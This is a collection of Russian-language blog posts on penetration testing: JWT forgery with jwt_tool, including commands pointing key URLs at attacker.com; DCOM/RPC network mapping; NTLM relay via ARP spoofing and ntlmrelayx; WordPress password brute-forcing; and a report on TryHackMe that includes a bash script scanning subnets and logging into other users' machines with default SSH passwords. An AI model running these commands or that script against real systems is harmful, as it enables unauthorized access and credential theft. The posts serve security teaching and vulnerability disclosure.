При тестировании на проникновение часто возникает необходимость использовать тот или иной публичный эксплойт на эскалацию привилегий. При этом не всегда можно найти подробное описание эксплойта и привести его в работоспособное состояние. Надеюсь, эта статья помогла вам увидеть шаблоны, которые применяются для написания эксплойтов, и теперь разбираться в них станет чуточку легче. К тому же, как показывает описание выше, способов на повышение привилегий не так много, а именно один изменение ссылки на токен процесса. Все остальное это просто модификации способа как ссылку можно перезаписать.

Узнать подробнее о курсе "Пентест. Практика тестирования на проникновение".

Записаться на открытый вебинар по теме "Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет."

Подробнее..

Категории: Информационная безопасность , Pentest , Тестирование it-систем , Разработка под windows , Блог компании otus. онлайн-образование , Windows , Тестирование на проникновение

Атаки на JSON Web Tokens

09.01.2021 12:13:57 |

Автор: admin

Содержание:

Что такое JWT?
- Заголовок
- Полезная нагрузка
- Подпись
- Что такое SECRET_KEY?
Атаки на JWT:
- Базовые атаки:
  1. Нет алгоритма
  2. Изменяем алгоритм с RS256 на HS256
  3. Без проверки подписи
  4. Взлом секретного ключа
  5. Использование произвольных файлов для проверки
- Продвинутые атаки:
  1. SQL-инъекция
  2. Параметр поддельного заголовка
  3. Внедрение заголовка ответа HTTP
  4. Прочие уязвимости

Что такое JSON Web Token?

Веб-токен JSON обычно используется для авторизации в клиент-серверных приложениях. JWT состоит из трех элементов:

Заголовок
Полезная нагрузка
Подпись

Заголовок

Это объект JSON, который представляет собой метаданные токена. Чаще всего состоит из двух полей:

Тип токена
Алгоритм хэширования

Официальный сайт предлагает два алгоритма хэширования:

HS256
RS256

Но на самом деле любой алгоритм с приватным ключом может быть использован.

Полезная нагрузка

Это также объект JSON, который используется для хранения такой информации о пользователе, как:

идентификатор
имя пользователя
роль
время генерации токена и т.д.

Подпись

Это наиболее важная часть, поскольку она определяет целостность токена путем подписания заголовка и полезной нагрузки в кодировке Base64-URL, разделенных точкой (.) с секретным ключом. Например, чтобы сгенерировать токен с помощью алгоритма HS256, псевдокод будет таким:

// Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete tokenJWT = data + "." + base64UrlEncode(signature)

Что такое SECRET_KEY?

Как правило, JWT может быть сгенерирован с помощью двух механизмов шифрования, таких как:

Симметричное
Ассиметричное

Симметричное шифрование:

Этот механизм требует единственного ключа для создания и проверки JWT.

Например, пользователь "Vasya" сгенерировал JWT с h1dd1n_m1ss1g3 в качестве секретного ключа. Любой человек, знающий этот ключ, может с его помощью изменить токен. JWT при этом останется действительным.

Самый распространенный алгоритм для этого типа HS256.

Асимметричное шифрование:

Этот механизм требует открытого ключа для проверки и закрытого ключа для подписи.

Например, если "Vasya" использовал это шифрование, то он единственный, кто может создать новый токен, используя закрытый ключ, тогда как "Petya" может только проверить токен с помощью открытого ключа, но не может его изменить.

Наиболее распространенный алгоритм для этого типа RS256.

Атаки на JWT

Чтобы подделать токен, необходимо иметь правильные ключи (например, секретный ключ для HS256, открытый и закрытый ключи для RS256), но если конфигурация JWT не реализована правильно, то есть много способов обойти элементы управления, которые позволяют изменить токен и получить несанкционированный доступ.

Базовые атаки

Для выполнения всех этих атак нам понадобиться JWT_Tool

1. Нет алгоритма

Если приложению не удается проверить значение заголовка alg, то мы можем изменить его значение на none, и таким образом оно исключает необходимость действительной подписи для проверки. Например:

// Modified Header of JWT after changing the "alg" parameter{  "alg": "none",  "typ": "JWT"}

Команда:

python3 jwt_tool.py <JWT> -X a

Здесь jwt_tool создал различные полезные нагрузки для использования этой уязвимости и обхода всех ограничений, пропустив раздел Подпись.

2. Изменяем алгоритм с RS256 на HS256

Как было сказано выше, алгоритму RS256 нужен закрытый ключ для подделки данных и соответствующий открытый ключ для проверки подлинности подписи. Но если мы сможем изменить алгоритм подписи с RS256 на HS256, мы заставим приложение использовать только один ключ для выполнения обеих задач, что является нормальным поведением алгоритма HMAC.

Таким образом рабочий процесс будет преобразован из асимметричного в симметричное шифрование. Теперь мы можем подписывать новые токены тем же открытым ключом.

Команда:

python3 jwt_tool.py <JWT> -S hs256 -k public.pem

В данном случае мы сначала загружаем открытый ключ (public.pem) из приложения, а затем подписываем токен с помощью алгоритма HS256, используя этот ключ. Таким образом, мы можем создавать новые токены и вставлять полезную нагрузку в любое существующее утверждение.

3. Без проверки подписи

Иногда при фаззинге данных в разделе заголовка и полезной нагрузки приложение не возвращает ошибку. Это значит, что подпись не проверяется после того, как она была подписана сервером авторизации. Таким образом, мы можем вставить любую полезную нагрузку в заявку, а токен всегда будет действительным.

Команда:

python3 jwt_tool.py <JWT> -I -pc name -pv admin

Здесь часть подписи не проверяется, а значит можно смягчить утверждение имени в разделе полезной нагрузки, сделав себя администратором.

4. Взлом секретного ключа

Мы можем получить доступ к файлу SECRET_KEY с помощью уязвимостей, таких как

LFI
XXE
SSRF

Если это невозможно, то все равно можно провести другие атаки, чтобы проверить, использует ли токен какую-либо слабую секретную строку для шифрования.

Для этой цели можно использовать расширение BurpSuite под названием JWT Heartbreaker.

Такое раскрытие поставит под угрозу весь механизм безопасности, поскольку теперь мы можем генерировать произвольные токены с секретным ключом.

Но чтобы убедиться, что полученная нами строка является действительным ключом SECRET_KEY или нет? Мы можем использовать функцию Crack в jwt_tool.

Команда:

python3 jwt_tool.py <JWT> -C -d secrets.txt // Use -p flag for a string

5. Использование произвольных файлов для проверки

Key ID (kid) это необязательный заголовок, имеющий строковый тип, который используется для обозначения конкретного ключа, присутствующего в файловой системе или базе данных, а затем использования его содержимого для проверки подписи. Этот параметр полезен, если приложение имеет несколько ключей для подписи токенов, но может быть опасным, если он является инъекционным, поскольку в этом случае злоумышленник может указать на конкретный файл, содержимое которого предсказуемо.

Например, /dev/null называется нулевым файлом устройства и всегда ничего не возвращает, поэтому он отлично работает в системах на основе Unix.

Команда:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

В качестве альтернативы можно использовать любой файл, присутствующий в корневом веб-каталоге, например, CSS или JS. Также можно использовать его содержимое для проверки подписи.

Другое решение проблемы:

python3 jwt_tool.py -I -hc kid -hv "путь / к / файлу" -S hs256 -p "Содержимое файла"

Продвинутые атаки:

1. SQL-инъекция

Эта уязвимость может возникнуть, если любой параметр, который извлекает какое-либо значение из базы данных, не очищается должным образом. Благодаря чему можно решать CTF задачи.

Например, если приложение использует алгоритм RS256, но открытый ключ виден в заявлении pk в разделе Payload, тогда можно преобразовать алгоритм подписи в HS256 и создавать новые токены.

Команда для подсчета количества столбцов:

python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur

2. Параметр поддельного заголовка

JSON Web Key Set (JWKS) это набор открытых ключей, которые используются для проверки токена. Вот пример:

Этот файл хранится на доверенном сервере, приложение может указывать на этот файл через параметры заголовка:

Но мы можем управлять URL-адресом с помощью таких уловок, как:

открытый редирект
добавление символа @ после имени хоста и т. д.

Затем мы можем перенаправить Приложение на наш вредоносный сервер вместо доверенного сервера и генерировать новые токены, так как мы контролируем как открытые, так и закрытые ключи.

JSON Set URL (jku):

Этот параметр указывает на набор открытых ключей в формате JSON (атрибуты n и e в JWKS), а jwt_tool автоматически создает файл JWKS с именем jwttool_custom_jwks.json для этой атаки при первом запуске инструмента после установки.

Команда:

python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

X.509 URL (x5u):

Этот параметр указывает на сертификат открытого ключа X.509 или цепочку сертификатов (атрибут x5c в JWKS). Вы можете сгенерировать этот сертификат с соответствующим закрытым ключом следующим образом:

openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"

Здесь с использованием OpenSSL сертификат был создан в attacker.crt, который теперь может быть встроен в файл JWKS с атрибутом x5c, а его эксплуатация может осуществляться следующим образом:

python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

Встроенные открытые ключи:

Если сервер встраивает открытые ключи непосредственно в токен с помощью параметров jwk (JSON Web Key) или x5c (цепочка сертификатов X.509), попробуйте заменить их своими собственными открытыми ключами и подписать токен соответствующим закрытым ключом.

3. Внедрение заголовка ответа HTTP

Предположим, что если приложение ограничивает любой управляемый URL-адрес в параметрах jku или x5c, тогда мы можем использовать уязвимость внедрения заголовка ответа, чтобы добавить встроенный JWKS в ответ HTTP и заставить приложение использовать это для проверки подписи.

4. Прочие уязвимости

Веб-токены JSON это еще одна форма пользовательского ввода, все параметры в которой должны быть очищены должным образом, иначе это может привести к уязвимостям, таким как:

LFI
RCE и другим.

Но это не означает, что приложение по-прежнему безопасно, ведь, если злоумышленник не может подделать JWT, он попытается украсть их с помощью неправильной конфигурации:

XSS
CSRF
CORS и т. д.

Удачных пентестов!

Подробнее..

Категории: Информационная безопасность , Тестирование веб-сервисов , Jwt , Пентест , Тестирование на проникновение , Блог компании alexhost , Пентесты , Json web token

Построение карты сети

01.06.2021 16:23:51 |

Автор: admin

Построение карты сети это длительный процесс. Исследование происходит за счет отслеживания откликов операционных систем на испорченные данные в заголовках сетевых протоколов. Этот подход обычно дает ~ 80% точности. И довольно сложно найти информацию о том, как точно каждая ОС отзывается на подобные воздействия. А что, если будет технология или функция операционной системы, которая на 100% точно будет говорить о состоянии сетевой подсистемы и сообщать дополнительную информацию? Статья расскажет о таких функциях ОС Windows.

Старые как мир технологии

Чтобы получить полную картину того, как ОС Windows представляет свои функции в сети, нужно вспомнить о таких механизмах, как DCOM и RPC.

Remote Procedure Call механизм межпроцессного взаимодействия (IPC). Механизм позволяет обмениваться информацией и вызывать функции в разных процессах в рамках ОС, локальной сети или через Интернет.

Distributed Component Object Model спецификация COM объектов, которая регламентирует правила взаимодействия в сети между объектами. В документации можно встретить формулировку DCOM Remote Protocol.

Два механизма соотносятся по следующей схеме:

Схема взята отсюда

Как это работает? Общая схема работы протокола представлена ниже.

Схема взята отсюда

Основная идея организация взаимодействия осуществляется по клиент-серверной модели. Клиент может запросить по идентификатору запуск процедуры через RPC на сервере. При этом сервер должен самостоятельно произвести поиск нужного обработчика для идентификатора и, если он найден, передать ему информацию в соответствии с моделью безопасности. Затем информация о доступности и, по возможности, результат возвращается клиенту.

Кстати, о модели безопасности, на схеме красными прямоугольниками выделены те интерфейсы, которые в некоторых случаях можно использовать без прохождения процедуры авторизации.

Что интересного для карты сети

DCOM для Offensive уже изучался на BlackHat 2004. В выступлении было очень много информации, которая может быть использована для версий Windows вплоть до Windows Server 2003. Вот список некоторых действий, которые можно выполнять:

Сбор информации о конфигурации ОС (не требует авторизации);
Перебор паролей для учетных данных пользователей;
Отправка запроса на создание задач ScheduledTask, а так же удаление, просмотр;
Просмотр состояния сервисов (авторизация требуется).

Выступление рассказывало уже о конкретных идентификаторах, которые можно использовать для воздействий на ОС. Попробуем выяснить, всё ли так же работает спустя 17 лет, заодно и узнаем как получить конфигурацию сетевой подсистемы ОС.

Практика

Для эксперимента будем использовать 3 виртуальные машины:

Windows 10
Windows 7
Windows 8

Каждая виртуальная машина будет подключена как минимум к двум сетям, которые будут включать в себя разные сегменты. Тестовой виртуальной машиной станет Kali Linux. Попробуем собрать скрипты и приложения для сбора информации о системе посредством RPC. Список инструментов представлен ниже:

nmap script rpcinfo.nse - собирает порты rpc и пишет, по возможности имя сервиса, который их использует;
impacket rpcdump.py - получает информацию из rcp сервисов;
impacket rpcmap.py - собирает endpoint порты, которые ожидают коннекта;
Metasploit module auxiliary/scanner/dcerpc/endpoint_mapper - поиск endpoint;
Metasploit module auxiliary/scanner/dcerpc/hidden - поиск скрытого сервиса;
Metasploit module auxiliary/scanner/dcerpc/management - получение данный из RMI DCERPC;
Metasploit module auxiliary/scanner/dcerpc/tcp_dcerpc_auditor - поиск названий сервисов, которые используют DCERPC;
IOXIDResolver.py - скрипт для получения данных о конфигурации сетевой подсистемы;

Попробуем работоспособность инструментов на виртуальных машинах:

Windows 7

Результаты nmap:

Результаты Metasploit:

На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP Auditpr

Результаты IOXIDResolver:

Windows 8

Результаты nmap:

Результаты Metasploit:

endpoint_mapper

На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP auditor

Результаты IOXIDResolver:

Windows 10

Результаты nmap:

Результаты Metasploit:

На картинке представлена часть endpoint сервисов.

Hidden services

Management

TCP auditor

Результаты IOXIDResolver:

Рассмотренные в статье механизмы не просто до сих пор работают, но и развиваются. Из перечисленных инструментов IOXIDResolver может позволить получить данные о настройке сетевой подсистемы, а другие инструменты могут помочь определить версию ОС и, при недостаточной конфигурации, возможность управления ОС или получения учетных данных пользователей.

Статья подготовлена Александром Колесниковым, преподавателем курса Пентест. Практика тестирования на проникновение. Если интересно узнать о курсе больше, приходите на день открытых дверей онлайн, где Александр расскажет о формате и программе обучения.

Подробнее..

Категории: Информационная безопасность , Сетевые технологии , Пентест , Тестирование на проникновение , Сетевая безопасность , Блог компании otus , Карта сети

Relay атаки

08.06.2021 18:13:14 |

Автор: admin

Статья расскажет о том, какие Relay атаки существуют на сегодняшний день и как их воспроизводить, какие основные инструменты для проведения данных атак при тестировании на проникновение можно использовать, а также будет рассмотрена Relay атака на Active Directory.

Что такое Relay

Relay атаки известны достаточно давно. Если ввести в поисковике "Relay attacks", то можно найти много страниц, которые были созданы около 20 лет назад. В компьютерной литературе термин Relay используется для обозначения процесса повторной передачи данных. В этом процессе информацию для повторения просто пересылают на указанный адрес. Тот, кто передаёт информацию, не обязательно должен её разбирать семантически или структурно, он просто является посредником. Определение достаточно простое, но реализация порой сопряжена с большим количеством особенностей и ограничений.

Основным условием проведения атаки является то, что атакующий перед началом "повторения" должен находиться посередине соединения, то есть контролировать или хотя бы наблюдать процесс передачи информации. Для такого состояния существует отдельный термин MitM. По факту это еще одна атака, которая используется для запуска Relay.

Почему Relay атаки существуют и где применяются? Любая информационная система должна регламентировать правила безопасной передачи информации между участниками обмена. Правила должны включать как защиту данных от утечки, так и правила разграничения доступа к информации между участниками системы. Первая задача в системах обычно решается с помощью криптографических методов преобразования, а вторая за счет использования специальных идентификаторов, которые в рамках системы имеют уникальные характеристики и позволяют идентифицировать учетные данные пользователя, который владеет идентификатором. Очень часто эти идентификаторы используются для реализации механизмов криптографии.

Relay атака подразумевает просто процесс повторения передачи данных, то есть ее шаблон хорошо подходит для того, чтобы влиять на состояние систем, даже не имея к ним прямого доступа. Особенно это актуально, если в системе используется криптографические методы защиты. Однако, если правильно применить атаку, то можно получать доступ к системе, запускать механизмы обработки данных, вызывать проблемы в функционировании систем. Известны примеры успешных Relay атак на корпоративные системы управления доступом, системы NFS, и т.д. В статье будем фокусироваться на Relay атаках, которые применимы для систем под управлением Windows AD.

Windows AD

Relay атаки Windows AD существуют практически столько же, как и сама система. Возможность их проведения существует потому, что системы использует свой собственный механизм SSO. Данный механизм позволяет пользователям обращаться к ресурсам системы. При правильном "направлении" запросов на получение доступа к ресурсу за счёт SSO, атакующий может получить доступ к ресурсу от имени пользователя, которого он "направил". При этом атакующему не нужно будет знать ни учетных данных, ни идентификаторов, которые используются в системе.

Официальной систематизации при описании Relay атак на Windows AD нет, поэтому будем использовать следующую классификацию:

Классческие Relay атаки данные пересылаются только по сети, без дополнительной обработки хоста
Гибридные Relay атаки Rouge Potato, Relay Potato

Попробуем разобраться, что каждая атака из себя представляет.

Атаки и инструменты

Классические Relay атаки для работы атаки необходимо:

Просканировать сеть и получить список сервисов. Нужны расшаренные директории через SMB, HTTP сервера, LDAP сервера.
Установить слушателя для локальных соединений или провести атаку на маршрутизацию данных в сети

Набор инструментов, которые можно использовать:

Успех атаки зависит от того, как настроены перечисленные выше сервисы. Все инструменты заточены на использование при схеме авторизации через NTLM протокол. Таким образом, основная задача при проведении атаки это переповторение процедуры обмена NTLM Challenge. (Не будет работать при использовании процедуры подписи запросов).

Возможные вектора атак: SMB->SMB,HTTP/HTTPs, LDAP/LDAPs, MSSQL, POP3, IMAP/s, SMTP.

Сценарий атаки:

Пользовательская система не содержит известных уязвимостей. Пользователь периодически пользуется HTTP веб-сервером и файловым обменником. Атакующий проводит атаку типа ARP Cache Poison. В bettercap можно запустить команду так:

set arp.spoof.targets 192.168.56.15set arp.spoof.internal truearp.ban on

В результате все запросы, которые отправляет машина пользователя, передает данные через машину атакующего. Можно запустить инструмент ntlmrelayx из набора скриптов impacket и ждать обращения на обменник:

python3 ntlmrelayx.py -t smb://192.168.56.25 -smb2support -socks

В итоге у нас появится командная строка ntlmrelayx и можно дампить данные и отправлять команды в целевую систему от имени пользователя.

Гибридные атаки модифицированная версия атак, которая позволяет задействовать дополнительные механизмы ОС для управления процедурой авторизации.

Rouge Potato атака использует методы делегирования дескриптора безопасности. Для проведения атаки используется механизм DCOM OXID Resolver запросы к нему заворачиваются через named pipes и в результате атакующий получает возможность запускать команды в системе от имени пользователя "NETWORK SERVICE" в дальнейшем токен можно проапгрейтить до токена "SYSTEM".

Атаку можно провести с помощью инструмента RougePotato. Инструмент используется для повышения привилегий в системе, то есть Relay происходит только на уровне механизмов ОС. Провести эту атаку без хотя бы минимального доступа к командной строке ОС не получится.

Remote Potato модификация атаки Remote Potato, где обходится механизм запрета на запрос данных из ресурса без авторизации посредством DCOM механизма ResolveOxid2. Для этой атаки также необходимо иметь минимальный доступ к системе, так как при процедуре запроса токена происходит обращение к сервису через локальный IXOD Resolver.

Заключение

Несмотря на то, что Relay атаки известны уже давно, на данный момент они остаются все еще актуальными для информационных систем. В частности, администраторам безопасности Active Directory рекомендуется включить подпись запросов NTLM протокола во избежании взлома системы с помощью данного метода.

Статью подготовил Александр Колесников в рамках курса Пентест. Практика тестирования на проникновение. Если вам интересно узнать больше о формате и программе обучения, приглашаем на день открытых дверей онлайн.

Подробнее..

Категории: Информационная безопасность , Pentest , Active directory , Тестирование на проникновение , Блог компании otus , Relay

Hack Me на TryHackMe, или Небезопасное изучение инфобеза на известной платформе

15.06.2021 16:19:06 |

Автор: admin

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;
Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);
Автору оригинала очень лень переписывать статью на русском языке.

DSCLAIMER

Эта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно. Ссылка на оригинальную статью.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип х*як, х*як, и в продакшн.

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку Basic Pentesting.

В роли атакующего у нас ...

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done

Ищем живых соседей

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0

Ищем еще

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done

Ищем открытый 80 порт

А вот и первые претенденты. CURLлуем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Уверен, что у многих директория веб-сервера на Kali выглядит примерно также

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Прав нет. А если найду?

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Ну, тут даже без комментариев

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bashfor ip in {2..255}do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)if [ ! -z $ip_check ]thenecho -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";nc -vz -w 2 $ip_check 22 > log.txt 2>&1;ssh_refused=$(grep -o "refused" log.txt)ssh_timeout=$(grep -o "timed" log.txt)if [ ! -z $ssh_refused ]thenecho -e "\e[01;31mSSH is closed. Going further. \e[00m";echo " ";elif [ ! -z $ssh_timeout ]thenecho -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";echo " ";elseecho -e "\e[01;32mSSH is open. Trying to connect... \e[00m";sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;echo " ";fifidonerm log.txt;echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

kali:kali
root:toor
user:toor

ПОЕХАЛИ!

А вот и первый БЕЗОПАСНИК с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке

Привет привет ovpn файл

Пробуем sudo

Ну как бы вот ...

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот уровне защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

Включить вашу рабочую машину в ботнет;
Покопаться во внутрикорпоративной сети компании и вашей личной инфе;
Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;
Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);
Всё, что пришло вам в голову к этому моменту

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня порадовала реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Подробнее..

Категории: Информационная безопасность , Тестирование it-систем , Блог компании t.hunter , Уязвимости , Уязвимости и их эксплуатация , Пентест , Защита информации , Тестирование на проникновение , Сетевая безопасность , Защита сети , Tryhackme , Уязвимости сети

Различные методы брутфорс атак WordPress

17.11.2020 14:16:28 |

Автор: admin

В этой статье вы узнаете о том, как взламывать учетные данные сайтов на WordPress с помощью различных брутфорс атак.

Содержание:

Предварительные требования
WPscan
Metasploit
Люкс Burp
Как обезопасить сайт от брутфорса?

Предварительные требования

Сайт на WordPress. Здесь мы будем использовать собственную лабораторию для пентеста, о созданию которой был посвящен наш предыдущий пост.
Kali Linux (WPscan). Более подробно о WPScan и его возможностях мы уже писали, а вместо Kali Linux можно использовать любую другую из ОС для белого хакинга.
Burp Suite (Intruder). Более подробно о данном инструменте можно узнать здесь.

WPscan

WPscan это фреймворк, который используется в качестве сканера уязвимостей методом черного ящика. WPscan предустановлен в большинстве дистрибутивов Linux, ориентированных на безопасность, а также доступен в виде подключаемого модуля.

Здесь мы будем использовать WordPress, размещенный на локальном хосте.

Во время перебора можно использовать:

Собственные общие списки логинов и паролей
Базы логинов и паролей, которые уже есть в Kali Linux

В данном случая был использован файл паролей rockyou.txt, который предоставляется со стандартной Kali Linux и содержит 14 341 564 уникальных пароля.

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

URL это параметр URL-адреса, за которым следует URL-адрес веб-сайта WordPress для сканирования.
-U будет перебирать только указанные имена пользователей, в нашем случае это users.txt
-P перебор паролей из предоставленного списка rockyou.txt

Продолжительность сканирования во многом зависит от размера файла имен и паролей. В нашем случае мы сопоставляем большое количество имен с еще большим количеством паролей, что может сказаться на производительности сайта.

Атака прошла успешно и на экране видим совпадение логина admin и пароля flower.

Metasploit

Metasploit также идет предустановленным в Kali Linux. Первым делом нужно попасть в консоль Metasploit, а затем запустить модуль WordPress. Этот модуль msf будет запускать проверку логинов и паролей. Сначала будут проверены имена пользователей, а затем с ними будут сопоставлены пароли.

msf > use auxiliary/scanner/http/wordpress_login_enummsf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100msf auxiliary(wordpress_login_enum) > set targeturi /wordpressmsf auxiliary(wordpress_login_enum) > set user_file user.txtmsf auxiliary(wordpress_login_enum) > set pass_file pass.txtmsf auxiliary(wordpress_login_enum) > exploit

Как и в предыдущем случае атака прошла успешно, в результате которой были полчены:

Логин: admin
Пароль: flower

Burp Suite

Можно опять использовать предустановленную в Kali версию или скачать Burp Suite Community Edition. Далее запускаем Burp Suite и открываем страницу входа в WordPress. Затем включаем вкладку перехвата в Burp Proxy. Далее вводим любое имя пользователя и пароль по вашему выбору для входа на сайт WordPress. Это перехватит ответ текущего запроса.

Посмотрите на изображение ниже и обратите внимание на последнюю строку перехваченного сообщения, где указаны учетные данные для входа как raj: raj, которые были использованы для входа в систему. Теперь нужно отправить эти данные в Intruder, что можно сделать с помощью сочетания клавиш ctrl + I или выбрав опцию Send to Intrude в контекстном меню.

Теперь открываем вкладку Intruder и видим запрос базового шаблона, который был сюда отправлен. Выбираем Positions, где по умолчанию активно несколько позиций, которые помечены символами . Все, что находится между двумя символами , заменяется полезной нагрузкой. Но сейчас все они нам не нужны, поэтому нажмите кнопку очистки в правом нижнем углу окна редактора.

Выбираем позиции, как показано на скриншоте, а также нажимаем кнопку add справа. Это настроит выбранные позиции как точки вставки полезной нагрузки. Теперь выбираем тип атаки.
Поскольку у нас есть 2 позиции полезной нагрузки, то выберем cluster bomb. Этот метод брутфорса очень эффективен в нашем случае. Он помещает первую полезную нагрузку в первую позицию, а вторую полезную нагрузку во вторую позицию. Но когда он проходит через наборы полезных данных, то пробует все комбинации. Например, когда есть 1000 логинов и 1000 паролей, тогда будет выполнено 1 000 000 запросов.

Теперь нажимаем кнопку start attack.

На вкладке payloads в раскрывающемся списке можно увидеть числа 1 и 2. Выберите 1 для первой позиции полезной нагрузки и установите для него простой список. В простой список можно вручную добавлять элементы с помощью кнопки add , а также вставлять список с помощью буфера обмена или загрузки из файла.

Аналогично ставим цифру 2 для другой позиции и выбираем для нее Runtime file, что полезно при работе с большими списками. Указываем путь к любому файлу-словарю, который содержит только список паролей. Нажимаем start attack.

Обратив внимание на статус и длину полезных данных, где видно, что учетные данные admin и flower имеют статус 302 и длину 1203, что отличается от всех других комбинаций. Это значит, что логин: admin и пароль flower именно то, что мы хотели получить.

Как избежать брутфорса?

Конечно, этих атак можно избежать, используя следующие меры предосторожности:

Длина пароля

Оптимальная длина пароля должна составлять 8-16 символов. Важно избегать использования наиболее распространенных паролей и часто их менять.

Сложность пароля

Надежный пароль должен состоять из:

Символов верхнего регистра (A)
Символов нижнего регистра (a)
Цифр
Специальных символов

Надежный пароль не гарантирует 100%, но по крайней мере позволяет значительно увеличить время взлома.

Ограничение попыток входа в систему

Ограничение попыток входа позволяет сильно усложнить процесс брутфорса.

Например, после трех неудачных попыток входа в систему данный IP-адрес должен быть заблокирован на какое-то время, чтобы пресечь дальнейшие попытки входа в систему.

Двухфакторная аутентификация

Следующий способ защиты от брутфорса двухфакторная аутентификация или 2FA. Обычно в качестве второго подтверждения используют телефон или почту.

Captcha

Установить капчу на WordPress довольно просто, например, с помощью многочисленных плагинов. Капча поможет предотвратить ботами выполнение автоматических скриптов для входа в вашу учетную запись.

Плагин брандмауэра WordPress

